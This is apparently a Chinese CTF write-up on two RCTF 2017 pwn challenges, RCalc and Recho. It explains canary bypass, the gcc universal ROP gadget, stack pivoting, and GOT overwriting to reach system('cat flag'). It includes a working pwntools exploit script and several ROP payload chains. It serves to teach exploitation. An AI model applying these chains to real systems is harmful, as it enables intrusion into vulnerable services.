作者:Hcamael@知道創宇404實驗室
發布時間:2017-05-23

這次RCTF,對于本以為掌握了的ROP,學到了新的姿勢,在這里總結下。

本文不進行實例調試,用腦子DEBUG......詳細文件可以去我的github上找...

RCalc

首先是計算器這題,作者自己實現了一個canary,首先在每個函數開頭通過sub_400AAB函數生成了一個隨機數,存放到堆中,和棧上面,然后在函數結尾使用sub_400B92函數檢查這個棧上的隨機數和堆中的隨機數是否一樣。

然后可以去看看sub_400A06函數,在存放canary的堆上面有個一個0x100的堆,用于存放需要保存的計算結果,這個結果保存的函數沒設定邊界值,所以可以覆蓋到canary的堆,從而覆蓋到canary。

繞過canary后,在sub_400FA2函數中,scanf函數存在棧溢出,正常情況下想,之后就是通過ROP很容易就能getshell了。

但是,這里有一個坑點,scanf函數的%s不能出現\x09, \x0a, \x0b, \x0c, \x0d, \x20

經過測試,如果輸入中出現這幾個字符,會被轉成\x00,或者之后的數據就不會被讀入變量中。

這對我來說非常致命,因為got表的地址中都含有\x20,還有一些ROP被這些字符限制著,當時還想到了一個別的思路,比如利用read函數或者sub_400c4e函數,但是沒找到控制rdx的ROP所以沒法用read函數,另外,就算能調用,也沒有思路下一步該怎么做,該讀到什么位置?然后該怎么通過read繼續溢出?

而關于sub_400c4e函數,雖然函數中含有\x0c字符,但是我找到了一個

add eax, 0x48002018 ; test eax, eax ; je 0x400803 ; call rax

通過這個ROP就能調用sub_400c4e了,而rdx為最后一次choice輸入的值,因為處理這個輸入值得時候有個cdqe,雖然如果我輸入0x100000005在判斷中也是5,通過這個思路,可以讓sub_400c4e函數中進行溢出,rdi和rsi也都是可控的。

但是在測試中發現,首先我不知道棧地址,所以沒法控制rsi,而在sub_400FA2函數的ret指令時,rsi正好就是一個棧地址,在當前棧地址的很上面,這種情況下,棧溢出會覆蓋掉sub_400c4e的局部變量,導致沒法成功進行棧溢出。

在比賽結束之后,看來國外的一篇wp后,學到了兩個知識點: http://hama.hatenadiary.jp/entry/2017/05/22/092142

首先是他們找的ROP:

mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8];
pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15; ret ;

通過這個ROP基本可以調用任意函數了,我找ROP一般是使用默認的命令:

$ ROPgadget --binary RCalc

但是卻沒有這個ROP,需要用

$ ROPgadget --binary RCalc --depth 11

才有第二句ROP,而第一句還是沒有。。所以我發現,我在找ROP上還是太菜了....

UPDATE 20170528

經過大佬教育,原來這是64位程序中存在的一個萬能ROP,這兩句ROP在同一個函數里,而這個函數是gcc編譯進程序中去的


其實,當時我已經基本可以做到調用任意函數了,但是關鍵點還是第二點。

使用:

leave  ; ret ;

來修改棧地址,這樣一來思路就很清晰了。 找一段可以寫的地址,比如bss區域,寫入ROP,然后再把rsp修改成該地址,就可以getshell了,同read函數向bss區域寫值,然后使用leave修改rsp

我還是太菜,從來沒想過修改棧地址......

Recho

本來也是一道簡單的棧溢出,但循環的判斷:

while(read(0, buf, 0x10)>0)

要棧溢出首先得先停了這個循環,在shell中可以使用ctrl+d表示EOF,但是腳本咋寫? 發現pwntools可以用下面的命令發送EOF

s = remote(xxxx,xx)
s.sock.shutdown(socket.SHUT_RW)

但是這樣我們沒法繼續輸入了,所以我們需要發送一次payload就getflag,我們只能getflag而不能getshell,因為服務器已經關閉了接收我們數據的連接。

這題沒有libc,所以寫ROP又是一個技術活....

使用下面這個PoC:

#!/usr/bin/env python
# coding=utf-8

from pwn import *

context.log_level = "debug"
# context.terminal = ['terminator', '-x', 'bash', '-c']
debug = 1
if debug:
    p = remote("127.0.0.1", 10001)
else:
    p = remote("recho.2017.teamrois.cn", 9527)
e = ELF('Recho')
# gdb.attach(p)
padding = 0x38*'a'          #padding
# write(1, got['read'], 8)
payload = ""
payload += p64(0x4008a3)  # pop rdi;ret
payload += p64(1)         # rdi = 1
payload += p64(0x4008a1)  # pop rsi; pop r15; ret
payload += p64(e.got['read'])  # rsi = got.plt read
payload += p64(0)         # r15 = 0
payload += p64(0x4006fe)  # pop rdx;ret
payload += p64(8)         # rdx = 8
payload += p64(e.symbols['write'])  # call write
# write(1, got['write'], 8)
payload += p64(0x4008a3)  # pop rdi;ret
payload += p64(1)         # rdi = 1
payload += p64(0x4008a1)  # pop rsi; pop r15; ret
payload += p64(e.got['atoi'])  # rsi = got.plt atoi
payload += p64(0)         # r15 = 0
payload += p64(0x4006fe)  # pop rdx;ret
payload += p64(8)         # rdx = 8
payload += p64(e.symbols['write'])  # call write


p.readuntil("server!\n")
p.sendline('1000')
p.sendline(padding + payload)
p.recv()
p.sock.shutdown(1)
print u64(p.recv(8)) - u64(p.recv(8))
p.interactive()

經過遠程和本地測試對比,發現遠程的libc應該和我本地的一樣

然后使用本地的libc寫payload就好了。。

思路是改寫got表中隨便一個函數的地址改成system就好了,比如我修改的是atoi函數,然后找binary中的ROP,找到下面三個:

pop rdi; ret;
pop rax; ret;
add [rdi], al; ret;

通過這三個,我們就能修改偏移了,比如:

payload += p64(0x4008a3)+p64(0x601040)    # pop rdi; ret;   rdi = 0x601040; atoi
payload += p64(0x4006fc)+p64(0x10) + p64(0x40070d)  # pop rax; ret;   rax = 0x10; add [rdi], al; ret;

payload += p64(0x4008a3)+p64(0x601041)    # pop rdi; ret;   rdi = 0x601041;
payload += p64(0x4006fc)+p64(229) + p64(0x40070d)   # pop rax; ret;   rax=0xe5;   add [rdi], al; ret;

這相當于got表中atoi函數的地址加上0xe510

同樣再使用上面的ROP往bss中寫入cat flag,最后輸出的指令是system('cat flag')

總結

本以為棧溢出都會了,其實還是太菜.....


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/444/